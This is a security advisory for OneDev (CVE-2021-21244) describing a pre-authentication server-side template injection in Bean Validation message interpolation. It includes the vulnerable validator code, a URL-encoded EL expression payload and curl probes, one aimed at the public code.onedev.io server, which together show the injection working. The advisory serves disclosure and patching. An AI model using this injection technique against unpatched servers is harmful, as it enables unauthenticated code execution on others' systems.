Skip to content

Pre-Auth SSTI via Bean validation message tampering

Critical
robinshine published GHSA-vm26-xg39-cfj4 Jan 11, 2021

Package

No package listed

Affected versions

<4.0.2

Patched versions

4.0.3

Description

Impact

There are many custom validators using Java Bean Validation (JSR 380) custom constraint validators. Apparently a similar issue was reported in the past (fix issue #88: Users able to edit build spec can execute arbitrary java ) and it was fixed by this commit by disabling EL interpolation:

-				Configuration<?> configuration = Validation.byDefaultProvider().configure();
+				Configuration<?> configuration = Validation
+						.byDefaultProvider()
+						.configure()
+						.messageInterpolator(new ParameterMessageInterpolator());

This effectively disables EL interpolation in most cases, but I found that this configuration is not applied for the Jersey server which uses a different ValidatorFactory configuration defined in ValidationConfigurationContextResolver:

    public ValidationConfig getContext(final Class<?> type) {
    	ValidatorFactory factory = AppLoader.getInstance(ValidatorFactory.class);
        ValidationConfig config = new ValidationConfig();
        config.constraintValidatorFactory(factory.getConstraintValidatorFactory());
        config.messageInterpolator(factory.getMessageInterpolator());
        config.parameterNameProvider(factory.getParameterNameProvider());
        config.traversableResolver(factory.getTraversableResolver());
        return config;
    }

There is a custom validator using this configuration, the ValidQueryParamsValidator:

	public boolean isValid(Object[] value, ConstraintValidatorContext context) {
		Set<String> expectedParams = new HashSet<>();
		for (Annotation[] annotations: resourceInfo.getResourceMethod().getParameterAnnotations()) {
			for (Annotation annotation: annotations) {
				if (annotation instanceof QueryParam) {
					QueryParam param = (QueryParam) annotation;
					expectedParams.add(param.value());
				}
			}
		}
		
		Set<String> actualParams = new HashSet<>(uriInfo.getQueryParameters().keySet());
		actualParams.removeAll(expectedParams);
		if (actualParams.isEmpty()) {
			return true;
		} else {
			context.disableDefaultConstraintViolation();
			context.buildConstraintViolationWithTemplate("Unexpected query params: " + actualParams).addConstraintViolation();
			return false;
		}
	}

This would be vulnerable if EL interpolation is allowed and if the REST endpoint receives an unexpected query parameter. We can verify if this is the case with the following payload:

${'test'.toUpperCase()}` -> `%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d

Trying it locally:

curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar

We get no response but an exception:

Caused by: org.glassfish.jersey.server.ContainerException: java.lang.NoSuchMethodError: javax.el.ELContext.notifyBeforeEvaluation(Ljava/lang/String;)

However in the stack trace we can find clues that Hibernate performed EL interpolation:

at com.sun.el.lang.EvaluationContext.notifyBeforeEvaluation(EvaluationContext.java:131) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at com.sun.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:225) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver.interpolate(ElTermResolver.java:65) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]
at org.hibernate.validator.internal.engine.messageinterpolation.InterpolationTerm.interpolate(InterpolationTerm.java:64) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]

This exception seems to be related to a misconfiguration in our docker dev container. Trying it on the onedev server (v3.2.9) we get our expression evaluated:

curl -X GET -H "Content-Type: application/json"  https://code.onedev.io/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar
Unexpected query params: [TEST] (path = ProjectResource.query.<cross-parameter>, invalidValue = [null, null, null, org.glassfish.jersey.server.internal.routing.UriRoutingContext@5b27a361])

As we can see in the output, the Java code was evaluated and returned TEST in upper case.

This validation, and therefore the arbitrary code execution, happens before any authentication or authorization checks are enforced.

This issue may lead to pre-auth RCE

Patches

This issue was fixed in 4.0.3 by disabling validation interpolation completely.

Credits

This issue was discovered by @pwntester

Severity

Critical

CVE ID

CVE-2021-21244

Weaknesses

No CWEs